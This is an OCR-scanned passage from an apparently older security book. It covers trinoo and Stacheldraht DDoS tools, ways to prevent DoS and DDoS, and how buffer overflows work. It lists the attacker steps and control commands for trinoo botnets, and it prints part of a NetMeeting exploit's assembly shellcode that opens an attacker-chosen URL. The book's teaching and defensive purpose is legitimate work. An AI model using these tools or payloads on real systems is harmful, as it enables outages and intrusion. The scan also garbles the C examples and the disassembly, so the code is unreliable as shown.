attack, and masters control the daemon systems.

Back in August of 1999, a trinoo network of over 200 computers was
responsible for bringing down the University of Minnesota’s network for
over two days.

Using Trinoo to Attack a System

The following are the typical steps an attacker takes when using trinoo to
compromise a network and setup a trinoo daemon, which can be used to
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launch DDOS attacks against other systems. Most of these steps are
typical for any type of DDOS tool covered in this section.

1. A potential victim or a set of victim computers needs to be
identified. First, these are the computers that are going to be used
to launch the attack, so they should be computers from diverse
networks or IP addresses. Using a wide range of IP addresses makes
it much harder for a target to block the addresses. Second, the
computers must be connected to a large pipe that has a large
amount of bandwidth. This is so the machine can send a lot of
packets through the Internet against a target machine. Third, the
machine should be fairly powerful and connected to a network that
does not have good security. This is hecessary not only for setting
up the software, but so the company will not notice when the
attacks begin. Finally, a program such as nmap should run against
the system to validate the operating system and to make sure it has
vulnerable ports that can be compromised. In most cases, operating
systems such as Solaris and Linux are the machines attackers go
after.

2. Now that the victims have been identified, the attacker must find a
way to compromise a victim’s machine, so he can setup the DDOS
software on the system. Remember, these DDOS tools cannot be
used to gain access to a system. Root access must be gained
another way, so that the DDOS daemons can be setup on the
compromised machine. A common way to compromise a victim’s
machine is through a variety of buffer overflow attacks, which are
discussed in Chapter 7, “Buffer Overflow Attacks”.

3. After a set of machines has been compromised, the DDOS software
must be installed on each machine. After all the software is
configured, a couple of machines need to be setup as masters to
control the daemons. Brief tests should be run to make sure
everything is working properly.

4. At this point, the trinoo or DDOS network is setup and ready to
attack a target.

It is important to remember that from an attackers standpoint, most of
these steps can be automated with scripts, so that they can run in a very
short period of time.

Running Trinoo

After trinoo is installed on a set of machines, there are a set of commands
used to control the system. There are actually two sets of commands—one
for the master, which is what the attacker interfaces with, and one for the
daemon. The master communicates with the daemons, and the daemons
actually launch the attack against a target. These commands will help give
you an idea of the capability and power of these programs.
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Controlling the Master
The following are the commands used to control the master:

e« Die—Shuts down the master

e Quit—Logs off of the master

e Mtimer N—Sets the Denial of Service time to n number of seconds.
The value can be between 1 and 1999, if the value is less than one,
it defaults to 300, and if it is greater than 2000, it defaults to 500.

e Dos IP—Launches a Denial of Service attack against the specified IP
address

e Die pass—Disables all broadcast hosts

e« Mping—Sends a ping to every active host on the broadcast address

e Mdos <ipl:ip2:ip3>—Similar to DOS IP, but it sends multiple
denials of service attack commands to each host.

« Info—Displays the version number and information about the
program

o« Msize—Sets the size of the buffer used during the denials of service
attacks

e Nslookup host—Performs a name server lookup of the specified
host

e Killdead—Sends a message to all hosts with the goal of finding
hosts that do not respond and removing them from the list

e Usebackup—Switches the program to use the file created by the
killdead command, which contains only the active hosts

e Bcast—Lists all active hosts

e Help [cmd]—Specifies additional information about a given
command

o« Mstop—Attempts to stop a Denial of Service attack. This feature is
listed in the help command, but it is not currently implemented.

Controlling the Daemon

The following are some of the commands used to access the trinoo
daemons:

e aaa pass IP—Perform a Denial of Service attack against the
specified IP address

e bbb pass N—Sets the time limit for the Denial of Service attack

e dle pass—Used to shut down the daemons

e rsz N—Sets the size of the buffer that is used for the Denial of
Service attacks

e xyz pass 123:ipl:ip2:ip3—Performs Denial of Service attacks
against multiple IP addresses
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As you can see, trinoo performs the same basic functions as the TFN2K,
but it is not as stealthy because it uses ports for communication.

Stacheldraht

Stacheldraht is another DDOS tool, which combines the features of TFN
and trinoo, but adds some additional features, such as encrypted
communication between the components and automatic update of the
daemons. As covered previously, TFN uses ICMP to communicate and
trinoo uses UDP; Stacheldraht uses TCP and ICMP on the following ports:

o Client to handler— 16660 TCP
« Handler to and from agents— 65000 TCP, ICMP ECHO_REPLY

With Stacheldraht, the attackers interface with the handlers, and the
handlers control the agents. The agents are the systems actually
launching the attack. Because Stacheldraht has similar functionality to the
programs already covered, it is not be described in detail, but it was
included for completeness.

Preventing Denial of Service Attacks

Due to the power of DOS attacks and the way they work, there is nothing
that can be done to prevent a DOS attack entirely. Some things can be
done to minimize the chances, but even with all the proper safeguards in
place, a company can still be vulnerable. If you do not believe me, you
might want to ask some of the companies that were taken offline by
DDOS attacks in February of 2000. The following are some things a
company can do to minimize its chances of having successful DOS or
DDOS attacks launched against them:

» Effective, robust design

o Bandwidth limitations

o Keep systems patched

e Run the least amount of services
o Allow only necessary traffic

o Block IP addresses

Effective Robust Design

The more redundancy and robustness that is built into a site, the better
off it is. If a company has a mission-critical web site that users have to
connect to over the Internet, and there is a single connection with a single
router, and the server is running on a single machine—this is not a robust
design. In this case, the attacker can launch a DOS attack against either
the router or the server and take the mission-critical application offline.
Ideally, a company should not only have multiple connections to the
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Internet, but connections from multiple geographic regions. For example,
if a company has multiple Internet connections going into the same
building, and there is a fire, both connections would be taken out at the
same time. If a company has its main office on the west coast, then they
should have a small office on the east coast that has Internet connections
where all traffic can be re-routed if there is a problem. The same rule goes
for services. The more services a company has in different locations with
different IP’s, the harder it is for an attack to locate and target all the
machines simultaneously.

The amount of redundancy a company has depends on the amount of time
and money a company is willing to spend to protect against DOS attacks.
Remember how a DOS attack works—an attacker either crashes a
machine or uses up all the resources. Therefore, the more machines and
connections a company has, the harder it is for an attacker to use DOS
attacks effectively.

Bandwidth Limitations

With Denial of Service attacks, an attack against a single protocol can use
up all a company’s bandwidth and, therefore, deny service to legitimate
users. For example, if an attacker can flood your network with port 25
traffic, the attacker can use up all a company’s bandwidth, so that
someone trying to connect to port 80 is denied access. One way to
combat this is to limit your bandwidth based on protocol. For example,
port 25 traffic can only use 25 percent of the bandwidth and port 80 traffic
can only use 50 percent of the bandwidth.

The key thing to remember with any of these solutions is that they are not
perfect, and they can be defeated. For example, to defeat this, an
attacker could launch two Denial of Service attacks—one against port 25
and one against port 80. What we are trying to show you is that there is
no silver bullet or single solution that will protect your company. Defense
in depth is key. You only have a chance of withstanding an attack by
having multiple defense mechanisms protecting your network.

Keep Systems Patched

When a new DOS attack comes out that crashes a machine, vendors are
usually quick about identifying the problem and releasing a patch. So, if a
company stays up to speed on the latest patches and applies them on a
regular basis, then its chance of being hit by a DOS attack that crashes its
machine is minimized. Remember, this does not protect against DOS
attacks that use up all a company’s resources. The only way to protect
against that is to have a redundant, robust design for your network. You
should also remember to always test a patch before it is applied to a
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production system. Even though the vendor claims that it fixes a certain
DOS exploit, this does not mean that it will not create other problems.

Run the Least Amount of Services

Running the least amount of services on a machine helps minimize the
chance of a successful attack. If a machine has 20 ports open, it gives an
attacker a wide range of different attacks to try against each of those
ports. On the other hand, if your system only has 2 ports opened, it limits
the type of attacks an attacker can launch against your site. In addition,
when there is a smaller number of services running or fewer ports opened,
it is easier for an administrator to maintain security because there are
fewer things to watch and be concerned with. So, remember POLP
(principle of least privilege), and run the least amount of services on a
machine needed for it to function properly.

Allow Only Necessary Traffic

This defense mechanism is similar to the last measure, “run the least
amount of services” but it concentrates on your perimeter—mainly your
firewall and router. The key is to not only enforce a principle of least
privilege for your systems, but you need to do the same thing for your
network. Make sure that your firewall only allows necessary traffic in and
out of your network. A lot of companies filter incoming traffic but do not
do anything for outbound traffic. You need to filter both types of traffic. In
some cases, the firewall might allow the traffic into the network, but if you
have proper filtering, you can block the traffic when it is trying to leave
the network. Also, do not assume that you need to allow certain traffic;
verify whether you do, and if you do not, then block it. For example, most
companies allow ICMP traffic in and out of their networks, yet in most
cases, this widespread access is not needed for the company to function
properly. Do not just say we need to perform pings and traceroutes, be
more specific. What type of pings do you need to do? Can you limit by IP
address? Would you ever need to perform pings from or to a broadcast
address? These are the types of questions you need to ask to come up
with the smallest subset of traffic needed to permit and deny everything
else.

If a company is connected to the Internet, in most cases, it has an
external router that resides at its site. Routers are capable of performing
packet-level filtering on traffic, and most routers have firewall rulesets you
can add to the IOS. Depending on the size of the router and current
utilization, a company might be able to perform additional filtering on its
traffic. This not only provides backup and checking for the firewall, but it
can help offload some filtering from the firewall. If the external router
blocks certain types of traffic, then the firewall does not have to deal with
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it, and this reduces the load that the firewall has to handle. Also, routers
can provide early indication that a company is under attack.

Block IP Addresses

After a company knows that it is under attack, it should immediately try to
identify the IP addresses from which the attack is coming and block them
at its external router. The problem with this is that even if it is blocking
them at the external router, the router will still get flooded with so much
traffic that legitimate users will be denied access to other systems on the
network. Therefore, as soon as a company knows it is under attack, it
should immediately notify its ISP and its upstream provider to block the
hostile packets. Because ISP’s have bigger pipes and multiple points of
access, if they block hostile traffic, they can still hopefully keep legitimate
packets flowing and, therefore, can restore connectivity back to the
company that was under attack.

Preventing Distributed Denial of Service Attacks

In the previous section, we covered what a company can do to minimize
its chances of being a victim of a Denial of Service or a Distributed Denial
of Service attack. Because in both cases a victim is being flooded with
packets, a victim takes the same defense measure whether they are being
flooded by a single machine or multiple machines because the defense
mechanisms are the same.

Because distributed Denial of Service attacks involve an attacker breaking
into other networks and using those computers to launch attacks,
companies also want to make sure that their servers cannot be used by an
attacker as a DDOS server to break into other sites. Some of the steps
covered in the previous section can also be used to prevent a company
from being used as a server to launch attacks against other companies.
General things, for example enforcing a principle of least privilege across a
company, are key to keeping a network secure. The following are some
additional things that can be done:

o Keep the network secure

o Install Intrusion Detection Systems
e Use scanning tools

« Run zombie tools

Keep the Network Secure

Ultimately, if an attacker cannot gain access to a network and compromise
a host, he cannot install the DDOS server on the system. Remember, to
setup a system as a server, there must be some way to compromise the
system. If the perimeter cannot be breached, and the system can be kept
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secure, then a company’s computer systems cannot be used to break into
other systems. This might seem fairly obvious, but because so many
companies have such poor security, it is worth mentioning.

Install Intrusion Detection Systems

When it comes to security, prevention is ideal but detection is a must. If a
company has its network connected to the Internet, it will never be able to
prevent all attacks— some attacks will go through. Therefore, it is critical
for a company to be able to detect these attacks as soon as possible.

From a DDOS standpoint, the sooner companies can detect that their
systems are being broken into or that a server has been compromised and
is sending out an attack, the better off they are. A key way for doing this
is to utilize Intrusion Detection Systems (IDS).

There are two general types of IDSs: network-based and host-based. A
network-based IDS is a passive device that sits on the network and sniffs
all packets crossing a given network segment. By looking at the packets,
it look for signatures that indicate a possible attack and sets off alarms on
questionable behavior. A host-based IDS runs on an individual server and
actively reviews the audit log looking for possible indications of an attack.

Just as there are two types of IDSs, there are also two general
technologies that most IDSs are built on: pattern matching and anomaly
detection. Pattern matching technologies have a database of sighatures of
known attacks. When it finds packets that have a given pattern, it sets off
an alarm. Anomaly detection systems determine what is “normal” traffic
for a network and any traffic that does not fit within the norm is flagged
as suspicious. As you can imagine, anomaly-based systems are fairly
difficult to implement because what is normal traffic for one company is
not normal for another. Therefore, most Intrusion Detection Systems are
based on pattern-matching technology. The following are some common
Intrusion Detection Systems:

o Shareware

e Snort

« Shadow

e« Courtney

o« Commercial

o ISS RealSecure

o Axent NetProwler

o Cisco Secure IDS (Net Ranger)

« Network Flight Recorder

o Network Security Wizard’s Dragon

This is not meant to be a complete list but rather to give you an idea of
some of the products that are available. When it comes to preventing
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DDOS attacks, companies must utilize both network- and host-based
intrusion detection systems.

Use Scanning Tools

Because companies are slowly securing their networks, there is a good
chance that their networks have already been compromised with a DDOS
server. Therefore, it is critical that they scan their networks looking for
these servers and disable and remove them from their systems as soon as
possible. There are several tools available for doing this, and most
commercial vulnerability scanners are able to detect whether a system is
being used as a DDOS server. The following are some of the tools
available:

« Find_ddos This program has several different versions that run on
various operating systems. Based on the number of DDOS attacks
that have been occurring, the US government developed this tool,
which scans local systems to see whether it contains a DDOS server
or agent. It scans various operating systems and can detect the
follow DDOS programs: tfn2k client, tfn2k daemon, trinoo daemon,
trinoo master, tfn daemon, tfn client, stacheldraht master,
stacheldraht client, stachelddraht demon, and tfn-rush client.

o Security Auditor’'s Research Assistant (SARA) SARA is a
vulnerability scanner that detects a wide range of vulnerabilities on
a system. It has support added to it that detects common DDOS
software residing on a computer system. Saint is another
vulnerability scanner that has built-in support to detect DDOS
software.

« DDoOSPing v2.0 This program runs on a Windows platform and has
an easy-to-use GUI that scans for various DDOS agents, including:
Wintrinoo, Trinoo, Stacheldraht, and TFN. Figure 6.7 is the screen
shot for DDoSPing:

Figure 6.7. Screen shot for DDoSPing version 2.0.
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« RID RID is a DDOS software detector that detects: Stacheldraht,
TFN, Trinoo, and TFN2k. It is also configurable, so as new DDOS
tools come out, it can be updated by the user.

For additional information on tools that scan for DDOS servers, visit
http://packetstorm.securify.com/distributed.

The key thing to remember about these scanning tools is that they will
only work if the DDOS programs have been installed on the default ports.
If the attacker recon-figures them to run on additional ports, then the
software will no longer work. Also, it is important to remember that these
tools are freely available, which means that attackers can also run them
against your system. So, if an attacker can run these programs against
your systems and knows how to attack you, you must run this software on
a regular basis to make sure your systems have not be breached.

Run Zombie Tools

In some cases, a company is not able to detect whether are being used as
a server until an attack starts taking place. In this case, hopefully, the
network IDS system will notice a high amount of traffic and will flag it as a
problem. In this case, you can run Zombie Zapper to stop the system
from flooding packets. There is a version of Zombie Zapper that runs on
UNIX and one that runs on Windows systems. It currently defends
against: Trinoo, TFN, and Stacheldraht. Just as with the scanning
programs, it does assume that the programs have been installed on the
default ports
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Summary

Denial of Service attacks can cause a lot of damage and are very hard to
protect against. Therefore, it is critical for any company that has mission-
critical systems connected to the Internet to clearly understand what it is
facing, and what can be done to minimize the chances of a successful
attack. It is also important for companies to analyze their systems and
come up with an estimate of how much money they would lose if their
systems went down. I know one company that did not want to invest $1
million dollars to have a highly-redundant system, but after analysts
determined that every minute their systems were down they would lose
$250,000, they quickly realized this was an investment they couldn’t
afford not to make. This means that if the systems were to go down for
more than 5 minutes, they would have lost more money than if they
would have invested the proper funds up front to build an appropriate
infrastructure.

Not only can DOS attacks cause a lot of damage, but there are also tools
available, such as Targa and TFN2K, that make launching a DOS or DDOS
attack a trivial task, and the attacker doesn’t really need to know what he
is doing. Therefore, it is critical for companies to understand the threat
they are up against and invest the appropriate resources to protect their
companies

Chapter 7. Buffer Overflow Attacks

In this day and age, programmers who are building software are under
extremely tight deadlines. Usually, the software company commits to
shipping the product with unrealistic timelines that cannot be met. On top
of that, designers usually add new features at the last minute to make
their system more attractive to the consumer than a competitor’s product.
Putting all of these factors together means that programmers are working
until the last minute, which means minimal (if any) testing is performed
on the system.

The mentality of a lot of software vendors is create the product where
most of the functionality works and then give it to the consumer and let
him finish testing it. When consumers run across problems, the company
will fix them.
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The problem with this approach (besides most consumers being unhappy
when software has a lot of bugs in it, especially when they feel they are
buying a fully-tested product after paying full price) is that it leaves the
door open for a large number of security issues.

Because developing software in this fashion means certain things are
overlooked, mainly the robustness of the software, it opens the door for
potential problems down the road. One of the main areas that is often
neglected is proper error checking. Error checking is the process of
verifying and validating that the information input into a program is what
the program is expecting. For example, if the program is expecting
numbers and the input is letters, error checking checks the input, realizes
it is not numbers, drops the input, and sends back an error message. The
key about error checking is that if the data is not valid, it stops the
program from executing on that data. Without error checking, the
program takes the data, regardless of whether it is valid or not, and
passes it on for processing. In this case, data that the program is not
expecting is passed on and executed, which is the main reason for buffer
overflow and other problems. Error checking can be done in one of two
areas: in the program itself, which is where it should be, or by an external
wrapper that calls the program. The latter is more often the case with web
applications such as CGI (common gateway interface) programs. Most
often a CGI program is not called directly but is called through a web
page. The web page prompts the user for input and passes it on to the
CGI program for processing. In this case, the web page is the wrapper,
and before it passes the input on for processing, it performs error
checking to make sure the input is valid. The CGI program could also have
error checking built in so it can check the data before it is processed by
the program.

In my opinion, error checking should be done in both places. A common
principle of security is defense in depth. This principle states that you
must have multiple mechanisms in place protecting the security of your
data. With error checking, having it performed in two locations provides
defense in depth, because if one of the error checking mechanisms is
bypassed, the other one will still work.

When it comes to error checking, you only need it if people do not play by
the rules. If everyone who uses the program does what he is supposed to,
you are in good shape. However, as soon as the user does not do what
the program expects—whether intentional or by accident—the program
falls apart. This lack of error checking in the software opens the door for a
wide range of problems that you will see throughout this book. One of the
main problems that can occur is a buffer overflow, which will be covered
in detail in the rest of this chapter
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What Is a Buffer Overflow?

Most of the new exploits are based on buffer overflow attacks. A buffer
overflow attack is when an attacker tries to store too much information in
an undersized receptacle. A common implementation is when a user of the
program gives the program more data than the developers of the program
allocated to store it. For example, let’s say that a programmer only
allocates enough memory for a variable to hold 10 characters and
someone tries to have that variable hold 20 characters. As in this case,
the main cause of buffer overflow problems is not having proper bounds
checking in the software.

An example of a buffer overflow is a program that is only expecting a
string of 50 characters and the user enters 100 characters. In this case,
because you are putting too much data into an undersized receptacle, the
program cannot handle it, and it will overwrite memory.

Buffer overflow exploits are potentially the most insidious of information
security problems. A buffer overflow essentially takes advantage of
applications that do not adequately parse input by stuffing too much data
into undersized receptacles. They occur when something very large is
placed in a box too small for it to fit. Depending on the environment, the
resulting “overflow” of code typically has unfettered capacity to execute
whatever arbitrary functions a programmer might want. Programs that do
not perform proper bounds checking are common, and buffer overflow
exploits are well known across most UNIX and NT platforms. A large
number of exploits floating around the Internet take advantage of a buffer
overflow problem in one form or another.

A great paper on buffer overflows is “Smashing the Stack for Fun and
Profit” by Aleph One and was featured in Phrack, Volume 7, Issue 49.
Phrack is an online security/hacker magazine that can be found at
www.phrack.com. It contains a lot of useful information and great
explanations of security vulnerabilities.

Buffer overflows can cause attacks against all three areas of security.
They can cause an attack against availability by running a denial of service
attack. Buffer overflows can also run arbitrary code that either modifies
data, which is an attack against integrity, or reads sensitive information,
which is an attack against confidentiality

How Do Buffer Overflows Work?
Buffer overflows take advantage of the way in which information is stored
by computer programs. On a computer, memory or RAM is the area where

data that is being executed is stored or variables that are going to be
accessed by a program are kept. Memory is volatile, which means that
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when the computer is turned off, anything stored in memory is lost.
Because memory is very fast, it is used to store information that will be
needed by the computer to run programs. For long-term storage, hard
drives or other storage media are used, which can store the data even
when the power is turned off, yet they utilize slower access speeds.

In general, when a program calls a subroutine, the function variables and
the subroutine return address pointers are stored in a logical data
structure known as a stack. A stack is a portion of memory that stores
information the current program needs. The variables are data that the
program uses to make decisions. For example, if a program is going to
add two numbers together (x and y), the variables are the values for x
and y. The return pointer contains the address of the point in the program
to return to after the subroutine has completed execution. Because the
operating system has to return control back to the calling program when
the subroutine is done, the return pointer tells it which memory address to
go back to. The variable space that is allocated, sometimes called a
buffer, is filled from back to front, higher address to lower address, or
what is called /ast in, first out (LIFO). This means that the last element
that is put on the stack is the first element that is taken off. A good
example is an elevator. When you get on an elevator, the last person that
steps onto the elevator, is usually the first person to get off. (This
assumes that everyone gets on and off at the same floors.)

Note

Programs are made up of subroutines. Using subroutines in code makes it
easier to break down the functions of a program into module pieces. If all
the code for a large program were kept in one main module, it would be
very inefficient and difficult to troubleshoot. In addition, breaking a
program down into smaller pieces or subroutines makes it easier to reuse
code.

Figure 7.1 shows how a normal memory stack operates. The information
for Figures 7.1 and 7.2 are taken from the paper "Smashing the Stack for
Fun and Profit.”

Figure 7.1. Normal operation of a stack.
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As you can see, the calling function is at the bottom of the stack. When
the program calls a subroutine, the first thing that is put on the stack is
the return pointer. Remember that because of LIFO, the first thing put on
the stack (the return pointer) is the last thing removed from the stack,
which is what you want. After the subroutine has executed, the last thing
it should do is pull the return pointer off the stack so that it can return to
the calling program. If this pointer is not used, after the subroutine
completes execution, the program will have no idea what to do next. Next,
the variables are put on the stack in the reverse order that they will be
needed. In this case, variable 2 will be needed before variable 1.
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A pointer is a variable that stores a memory location. When a program
jumps to other code to execute, it uses a pointer to remember where it
left off. In this case, when a subroutine is called, the program needs to
jump and execute the subroutine code. If it did this without using a
pointer, it would have no idea where to return after it was done executing
the subroutine. The pointer stores the location of where it left off so it can
return back to the original program in the correct spot.

Now that you know how a normal stack works, let’s look at what happens
when you smash the stack (cause a buffer overflow). When programs
don’t check and limit the amount of data copied into a variable’s assigned
space, that variable’s space can be overflowed. When that buffer is
overflowed, the data placed there goes into the neigh-boring variable’s
space and eventually into the pointer space.

To cause code to be executed, an attacker takes advantage of this by
precisely tun-ing the amount and content of data necessary to cause the
buffer to overflow and the operating system stack to crash. The data that
the attacker sends usually consists of machine specific bytecode (low level
binary instructions) to execute a command, plus a new address for the
return pointer. This address points back into the address space of the
stack, causing the program to run the attacker’s instructions when it
attempts to return from the subroutine.

A key point to remember is that the attacker’s code will run at whatever
privileges the software that is exploited is running at. In most cases, an
attacker tries to exploit programs that are running as a privileged account
such as root or domain administrator, which means that after he has
control, he can do whatever he wants. Figure 7.2 graphically depicts how
this occurs.

As you can see, this process is fairly straightforward in theory, but is a
little more complicated to run by hand. Unfortunately, there is code, which
we will cover in this chapter, that performs buffer overflows for an
attacker who does not really understand in detail how they work. The
previous example illustrates the more complex buffer overflow attack
where an attacker executes code. In the next section, we will examine the
second type of buffer overflow attack, Denial of Service.

Types of Buffer Overflow Attacks

By nature of how a buffer overflow attack works, an attacker can
compromise a machine in one of two ways: by a denial of service attack
or gaining access. The easiest type of buffer overflow attack is to crash
the machine or cause a Denial of Service attack. Buffer overflow attacks
work by putting too much data onto the memory stack, which causes
other information that was on the stack to be overwritten. As you can
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imagine, important information like operating system data needs to be
stored and accessed from the memory stack to ensure that the system
functions properly.

With a buffer overflow attack, if enough information can be overwritten in
memory, the system cannot function, and the operating system will crash.
As you learned in Chapter 6, “"Denial of Service Attacks,” this is one form
of Denial of Service attack. To recover from this type of attack, you reboot
the system. If this system is a production machine, service is interpreted
until the system is rebooted and started up again.

As noted in the previous section, the other type of buffer overflow attack
is the execution of code that the attacker chooses to run. Because a buffer
overflow attack puts too much data into memory, if the attacker is careful,
he can overwrite just enough information on the stack and overwrite the
return pointer. By doing this, he can cause the pointer to point to the
attacker’s code instead of the actual program, causing the his code to be
executed. This code can be anything from printing out the password
hashes to creating a new account

Why Are So Many Programs Vulnerable?

As we have already mentioned, the main reason so many programs are
vulnerable is due to the lack of error checking. If programmers or
developers would take the extra time to build more robust code that
includes error checking, there would be fewer buffer overflow exploits.

One of the main reasons that so much code has no error checking is
because developers make assumptions. They assume that, under normal
operation, the amount of memory they allocate for a variable is sufficient.
This may be true, however attackers push the threshold, and when an
attacker is testing a program for an exploit, it is no longer being used in
normal conditions. Often, programs get released and work perfectly for
several years, because everyone uses the programs correctly. Then,
someone (an attacker) wakes up and asks the fatal question, "What if I
pass the program different types of information?” Or, "What if I pass the
program more data than it is expecting?” Because few programs perform
proper error checking, as soon as people start asking these questions,
programs start crashing left and right.

For example, the Ping program was released and used by a large number
of people for over 20 years, and it worked as designed. Then, one day in
the early 1990s, someone decided to see what would happen if he sent
out ping packets with large amounts of data, and systems of all types
from various vendors came crashing down. This attack is known as the
ping of death and had a detrimental impact on the Internet.
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There are countless examples of programs that have been around for a
long time, and attackers still find ways to exploit them via buffer
overflows. A program that has been around for a while might be stable
from a functionality standpoint, but it does not mean that it is secure. In
other cases, attackers target programs as soon as they are released
looking for vulnerable code that can be exploited with a buffer overflow
attack. This is usually the case with major releases of operating systems
or other programs.

To illustrate how buffer overflows work, let’s look at a program that
prompts the user for her first name and prints the information for that
user on the screen. Because most users do not have long first names, let’s
allocate 50 characters for the first name. This is based on the assumption
that no one has a first name longer than 50 characters. This assumption
might be true, but it us based on an implied level of trust that everyone
will use the program in the proper manner. By now, you should realize
that this trust is unfounded. Programmers need to realize that making
assumptions in programs is very dangerous. To have truly secure
programs, developers must explicitly put error checking into their
programs. This way, if a malicious user comes along, the developers will
be protected

Sample Buffer Overflow

To illustrate the kind of assumptions that programmers make, which
create opportunities for buffer overflow attacks, let’s look at a simple
example. First, let’s set up a buffer that can contain 256 characters. Then,
because we do not perform proper bounds checking, an attacker inserts
512 characters into the 256-character buffer, which overflows the buffer.
This is a very simple example of a denial of service buffer overflow attack.
The attacker just puts as much data as possible onto the stack with the
hope of crashing the machine. Here is the code for this example:

void func (void)

{
int i; char buffer[256];

for (i=0;1<512;1i++)
buffer[i1]="A";
return;

}

As you can see, the container can only hold 256 characters, yet the code
tries to store 512 characters. This results in a buffer overflow.
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Protecting Our Sample Application

To avoid this type of problem, we should add bounds checking to the
program. A simple example of this is to put a statement that tracks how
much data is being written to the buffer, and when it tries to exceed the
maximum amount, deny the request. For example, an easy way to fix this
problem is to put the proper value in the for loop. Because the counter
starts with 0, we would stop when the counter is less than 256, as follows:

void func (void)

{
int 1i; char buffer[2506];
for (i=0;1i<256;1i++)
buffer[i]="A";
return;

}

A second way to fix the problem is to put explicit error checking in the
program. This assumes that the loop does not work properly and that a
separate statement is responsible to check for errors:

void func (void)
{

int i; char buffer[256];

for (1i=0;1<512;1++)

{
if (1 >= 256) then exit(1l);
buffer[i]="A";

}

return;

}

In this case, we are explicitly checking for the maximum size of the buffer
and before it can be exceeded, we stop the program. This is done with the
if (i >= 256) then exit (1); statement. The statement says if we have
written 256 characters to the buffer variable, stop because it cannot hold
any more data

Ten Buffer Overflow Attacks

Now that you have a detailed understanding of how buffer overflow
attacks work and the different variations, we will cover ten different buffer
overflow exploits. The first five will be covered in detail; the remaining five
will be brief overviews because they are relatively new exploits:

o NetMeeting Buffer Overflow
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Outlook Buffer Overflow

Linuxconf Buffer Overflow

ToolTalk Buffer Overflow

IMPAD Buffer Overflow

AOL Instant Messenger Buffer Overflow

AOL Instant Messenger BuddyIcon Buffer Overflow

Windows 2000 ActiveX Control Buffer Overflow

IIS 4.0/5.0 Phone Book Server Buffer Overflow

SQL Server 2000 Extended Stored Procedure Buffer Overflow

These exploits are performed on all systems from UNIX to Windows and
include several buffer overflows for Windows 2000.

NetMeeting Buffer Overflow

An exploit that causes a buffer overflow, which allows an attacker to
execute arbitrary code on a client’s machine. A buffer overflow can cause
NetMeeting to stop responding or hang if a malicious web page author
links to a specially edited NetMeeting SpeedDial entry.After NetMeeting
stops responding, a knowledgeable developer can run arbitrary code in the
computer’'s memory. The exploit works when an attacker sends a victim a
specially crafted SpeedDial link. When the victim clicks on the SpeedDial
link to supposedly connect to a remote system, the input that is located in
the link causes a buffer overflow attack, which can be used to run
arbitrary code on the victim’s system.

Exploit Details:

« Operating System: Microsoft NT and Windows 95
« Protocols/Services: SpeedDial Function

This exploit can affect Microsoft NetMeeting versions 2.0 and 2.1 running
on Windows NT 4.0 and versions 1.0, 2.0, and 2.1 running on Windows 95
machines.

Detailed Description

NetMeeting has a feature called SpeedDial, which allows a user to click on
it and automatically connect to a remote server. It is equivalent to a
shortcut in Windows and works similar to the speed dial feature on a
telephone. Unfortunately, SpeedDial utilizes a DLL that can be exploited to
cause a buffer overflow and execute arbitrary commands. The SpeedDial
shortcut, which can easily be sent to a victim by an attacker via
NetMeeting chat or even email, takes advantage of a flaw in one of
NetMeeting’s associated DLLs, (MSCONF.DLL in version 4.3.2135). This
SpeedDial shortcut exploits the incapability of this DLL to handle more
than 256 characters in a destination. By creating a SpeedDial link filled
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with more than 256 characters, attackers force their own homegrown
code onto other portions of the stack, where it can be executed to load
any desired program.

Signature of the Attack

When this exploit is run on an NT box, you receive the Rundll error
depicted in Figure 7.3.

Figure 7.3. Error message displayed when the NetMeeting exploit is run against
a system.

Thiz program has perfammed an ilegal operation
ard wil be shut down,

If e problem persists, contact the pogram
v,

PUNDLLEZ caused an inwvalid page fault in -
module <unknowm> at 00de:80808080.

Peglistars:

E=8le0bbsg C2=014f BIP=30802080 EFLGE=00010246
EBX=00&63££58 55=0157 ESP=005400dE EEP=005400£{3
ECHK=00540120 D2=01E57 ESI=00540Lcd FE=1237
EDM=bE£7E548 ES=0157 EDI=00540laf CGE=0000

Bytas at CE:EIP:

I

When you see an error message like the one shown in Figure 7.3, you
have probably hit some kind of buffer overflow. The error is somewhat
generic looking, but examine the values a little closer. To enable this
buffer overflow exploit to happen, a string of 0x80 bytes was sent into
Microsoft NetMeeting through the address field of a SpeedDial shortcut.
The EIP value happens to be 0x80808080, which means it is a stack
overflow! All an attacker needs to do is craft an exploit string to have
some extra code inside and tweak four of those 0x80 bytes to point to the
exploit string. Note that other types of errors bring up similar dialog
boxes, and not all are buffer overflows. In addition, some buffer overflows
are easier to exploit than others.

Interestingly enough, most users who work with Windows operating
systems see these error messages periodically, so they tend to ignore
them when they occur. Users need to be trained that error messages
occur for a reason and usually indicate an unusual circumstance.
Therefore, when they come across any error messages, users should not
ignore the message but notify the help desk.

How to Protect Against It

To patch a machine so that it is not vulnerable to this attack, you must
apply the latest patches from Microsoft. Microsoft has issued several
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patches that will fix this problem in NetMeeting. Knowledge base article
q184346 contains additional details. The article also contains the list of
patches and where they can be obtained.

Source Code/Pseudo Code

This section will take you through the assembly source code that is used
to run this exploit. From an attackers standpoint, even though it affects
the Windows environment, there is no easy-to-use GUI program that
exploits this vulnerability. The source code and information used in this
section is from the Cult of the Dead Cow at www.cultdeadcow.com.

First, the following code allocates 131070 bytes of memory. EAX gets
131070, and GlobalAlloc is called, indirectly addressed from the
jumptable -0x14 bytes from EDI. This stores the memory address in ESI.
The type of GlobalAlloc is GMEM FIXED (0), which results in a memory
address being returned rather than an unlocked handle:

000001BB: 90 nop

000001BC: 90 nop

000001BD: 33CO X0r eax,eax

O00001BF: 06648 dec ax

000001C1l: DIEO shl eax,1

000001C3: 33D2 Xor edx,edx

000001C5: 50 push eax

000001C6: 52 push edx

000001C7: FF57EC call d, [edi] [-0014]
000001CA: 8BFO mov esi,eax

Next, an attacker creates an Internet handle with a call to
InternetOpenA. In this case, all the parameters to InternetOpena are
zero. The Internet handle is returned in EAX and the attacker immediately
sets it up as a parameter to the next function he calls:

000001CC: 33D2 xor edx,edx

000001CE: 52 push edx

000001CF: 52 push edx

000001D0: 52 push edx

000001D1: 52 push edx

000001D2: 57 push edi

000001D3: FF57FO0 call d,[edi][-0010]

The following code makes a call to InternetOpenUrlA (at [EDI-0x08])
invoking the chosen URL. The URL type is unspecified in the code, so the
URL can be HTTP, FTP, FILE, GOPHER, or whatever the attacker wants.
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000001D6: 33D2 xor edx,edx

000001D8: 52 push edx

000001D9: 52 push edx

000001DA: 52 push edx

000001DB: 90 nop

000001DC: 52 push edx

000001DD: 8BD7 mov edx,edi
000001DF: 83EAS50 sub edx,050 ;"p"
000001E2: 90 nop

000001E3: 90 nop

000001E4: 90 nop

000001E5: 52 push edx
